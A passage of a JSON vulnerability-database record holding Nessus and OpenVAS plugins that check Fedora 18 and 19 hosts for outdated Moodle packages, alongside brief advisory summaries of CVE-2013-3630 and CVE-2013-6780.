extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"moodle\");\n}\n", "cvss": {"score": 4.6, "vector": "AV:N/AC:H/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-01-12T10:11:20", "description": "Latest upstreams, multiple security fixes.\n\nName: CVE-2013-6780 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6780 Assigned:\n20131112 Reference:\nhttps://yuilibrary.com/support/20131111-vulnerability/\n\nCross-site scripting (XSS) vulnerability in uploader.swf in the\nUploader component in Yahoo! YUI 2.5.0 through 2.9.0 allows remote\nattackers to inject arbitrary web script or HTML via the allowedDomain\nparameter.\n\nName: CVE-2013-3630 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630\n[Open'>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630'>Op\nen URL] Assigned: 20130521 Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-foss-disclosures-part-one\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-foss-disclosures-part-one'>Open URL] Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-tricks-and-treats\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-tricks-and-treats'>Open URL]\n\nMoodle through 2.5.2 allows remote authenticated administrators to\nexecute arbitrary programs by configuring the aspell pathname and then\ntriggering a spell-check operation within the TinyMCE editor.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 14, "published": "2013-11-25T00:00:00", "title": "Fedora 18 : moodle-2.3.10-1.fc18 (2013-21354)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-3630", "CVE-2013-6780"], "modified": "2013-11-25T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:18", "p-cpe:/a:fedoraproject:fedora:moodle"], "id": "FEDORA_2013-21354.NASL", "href": "https://www.tenable.com/plugins/nessus/71065", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2013-21354.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(71065);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2013-3630\", \"CVE-2013-6780\");\n script_xref(name:\"FEDORA\", value:\"2013-21354\");\n\n script_name(english:\"Fedora 18 : moodle-2.3.10-1.fc18 (2013-21354)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Latest upstreams, multiple security fixes.\n\nName: CVE-2013-6780 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6780 Assigned:\n20131112 Reference:\nhttps://yuilibrary.com/support/20131111-vulnerability/\n\nCross-site scripting (XSS) vulnerability in uploader.swf in the\nUploader component in Yahoo! YUI 2.5.0 through 2.9.0 allows remote\nattackers to inject arbitrary web script or HTML via the allowedDomain\nparameter.\n\nName: CVE-2013-3630 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630\n[Open'>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630'>Op\nen URL] Assigned: 20130521 Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-foss-disclosures-part-one\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-foss-disclosures-part-one'>Open URL] Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-tricks-and-treats\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-tricks-and-treats'>Open URL]\n\nMoodle through 2.5.2 allows remote authenticated administrators to\nexecute arbitrary programs by configuring the aspell pathname and then\ntriggering a spell-check operation within the TinyMCE editor.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1025655\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1025656\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1030084\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1030085\"\n );\n # https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-foss-disclosures-part-one\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?525142bc\"\n );\n # https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?c21b826a\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2013-November/122341.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?7ac50762\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://yuilibrary.com/support/20131111-vulnerability/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected moodle package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:S/C:P/I:P/A:P\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Moodle Remote Command Execution');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:moodle\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:18\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2013/11/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/11/25\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^18([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 18.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC18\", reference:\"moodle-2.3.10-1.fc18\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"moodle\");\n}\n", "cvss": {"score": 4.6, "vector": "AV:N/AC:H/Au:S/C:P/I:P/A:P"}}], "fedora": [{"lastseen": "2020-12-21T08:17:52", "bulletinFamily": "unix", "cvelist": ["CVE-2013-3630", "CVE-2013-6780"], "description": "Moodle is a course management system (CMS) - a free, Open Source software package designed using sound pedagogical principles, to help educators crea te effective online learning communities. ", "modified": "2013-11-24T03:29:31", "published": "2013-11-24T03:29:31", "id": "FEDORA:98C87210EF", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 20 Update: moodle-2.5.3-1.fc20", "cvss": {"score": 4.6, "vector": "AV:N/AC:H/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:52", "bulletinFamily": "unix", "cvelist": ["CVE-2012-6087", "CVE-2013-3630", "CVE-2013-6780"], "description": "Moodle is a course management system (CMS) - a free, Open Source software package designed using sound pedagogical principles, to help educators crea te effective online learning communities. ", "modified": "2013-11-23T19:49:20", "published": "2013-11-23T19:49:20", "id": "FEDORA:8A144216B7", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 19 Update: moodle-2.4.7-1.fc19", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:52", "bulletinFamily": "unix", "cvelist": ["CVE-2012-6087", "CVE-2013-3630", "CVE-2013-6780"], "description": "Moodle is a course management system (CMS) - a free, Open Source software package designed using sound pedagogical principles, to help educators crea te effective online learning communities. ", "modified": "2013-11-23T19:35:25", "published": "2013-11-23T19:35:25", "id": "FEDORA:4AB2520E3E", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 18 Update: moodle-2.3.10-1.fc18", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "openvas": [{"lastseen": "2018-01-24T11:09:41", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-3630", "CVE-2012-6087", "CVE-2013-6780"], "description": "Check for the Version of moodle", "modified": "2018-01-24T00:00:00", "published": "2013-11-26T00:00:00", "id": "OPENVAS:867083", "href": "http://plugins.openvas.org/nasl.php?oid=867083", "type": "openvas", "title": "Fedora Update for moodle FEDORA-2013-21397", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for moodle FEDORA-2013-21397\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2013 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\n\nif(description)\n{\n script_id(867083);\n script_version(\"$Revision: 8509 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-01-24 07:57:46 +0100 (Wed, 24 Jan 2018) $\");\n script_tag(name:\"creation_date\", value:\"2013-11-26 10:05:16 +0530 (Tue, 26 Nov 2013)\");\n script_cve_id(\"CVE-2013-6780\", \"CVE-2013-3630\", \"CVE-2012-6087\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_name(\"Fedora Update for moodle FEDORA-2013-21397\");\n\n tag_insight = \"Moodle is a course management system (CMS) - a free, Open Source software\npackage designed using sound pedagogical principles, to help educators create\neffective online learning communities.\n\";\n\n tag_affected = \"moodle on Fedora 19\";\n\n tag_solution = \"Please Install the Updated Packages.\";\n\n\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name: \"FEDORA\", value: \"2013-21397\");\n script_xref(name: \"URL\" , value: \"https://lists.fedoraproject.org/pipermail/package-announce/2013-November/122391.html\");\n script_tag(name: \"summary\" , value: \"Check for the Version of moodle\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2013 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"FC19\")\n{\n\n if ((res = isrpmvuln(pkg:\"moodle\", rpm:\"moodle~2.4.7~1.fc19\", rls:\"FC19\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}, {"lastseen": "2018-01-24T11:09:35", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-3630", "CVE-2012-6087", "CVE-2013-6780"], "description": "Check for the Version of moodle", "modified": "2018-01-24T00:00:00", "published": "2013-11-26T00:00:00", "id": "OPENVAS:867078", "href": "http://plugins.openvas.org/nasl.php?oid=867078", "type": "openvas", "title": "Fedora Update for moodle FEDORA-2013-21354", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for moodle FEDORA-2013-21354\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2013 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\n\nif(description)\n{\n script_id(867078);\n script_version(\"$Revision: 8509 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-01-24 07:57:46 +0100 (Wed, 24 Jan 2018) $\");\n script_tag(name:\"creation_date\", value:\"2013-11-26 09:50:02 +0530 (Tue, 26 Nov 2013)\");\n script_cve_id(\"CVE-2013-6780\", \"CVE-2013-3630\", \"CVE-2012-6087\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_name(\"Fedora Update for moodle FEDORA-2013-21354\");\n\n tag_insight = \"Moodle is a course management system (CMS) - a free, Open Source software\npackage designed using sound pedagogical principles, to help educators create\neffective online learning communities.\n\";\n\n tag_affected = \"moodle on Fedora 18\";\n\n tag_solution = \"Please Install the Updated Packages.\";\n\n\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name: \"FEDORA\", value: \"2013-21354\");\n script_xref(name: \"URL\" , value: \"https://lists.fedoraproject.org/pipermail/package-announce/2013-November/122341.html\");\n script_tag(name: \"summary\" , value: \"Check for the Version of moodle\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2013 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"FC18\")\n{\n\n if ((res = isrpmvuln(pkg:\"moodle\", rpm:\"moodle~2.3.10~1.fc18\", rls:\"FC18\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}, {"lastseen": "2019-05-29T18:38:13", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-3630", "CVE-2012-6087", "CVE-2013-6780"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2013-11-26T00:00:00", "id": "OPENVAS:1361412562310867083", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310867083", "type": "openvas", "title": "Fedora Update for moodle FEDORA-2013-21397", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for moodle FEDORA-2013-21397\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2013 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.867083\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2013-11-26 10:05:16 +0530 (Tue, 26 Nov 2013)\");\n script_cve_id(\"CVE-2013-6780\", \"CVE-2013-3630\", \"CVE-2012-6087\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_name(\"Fedora Update for moodle FEDORA-2013-21397\");\n\n\n script_tag(name:\"affected\", value:\"moodle on Fedora 19\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"FEDORA\", value:\"2013-21397\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2013-November/122391.html\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'moodle'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2013 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC19\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC19\")\n{\n\n if ((res = isrpmvuln(pkg:\"moodle\", rpm:\"moodle~2.4.7~1.fc19\", rls:\"FC19\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:38:16", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-3630", "CVE-2012-6087", "CVE-2013-6780"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2013-11-26T00:00:00", "id": "OPENVAS:1361412562310867078", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310867078", "type": "openvas", "title": "Fedora Update for moodle FEDORA-2013-21354", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for moodle FEDORA-2013-21354\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2013 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.867078\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2013-11-26 09:50:02 +0530 (Tue, 26 Nov 2013)\");\n script_cve_id(\"CVE-2013-6780\", \"CVE-2013-3630\", \"CVE-2012-6087\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_name(\"Fedora Update for moodle FEDORA-2013-21354\");\n\n\n script_tag(name:\"affected\", value:\"moodle on Fedora 18\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"FEDORA\", value:\"2013-21354\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2013-November/122341.html\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'moodle'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2013 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC18\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC18\")\n{\n\n if ((res = isrpmvuln(pkg:\"moodle\", rpm:\"moodle~2.3.10~1.fc18\", rls:\"FC18\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}]}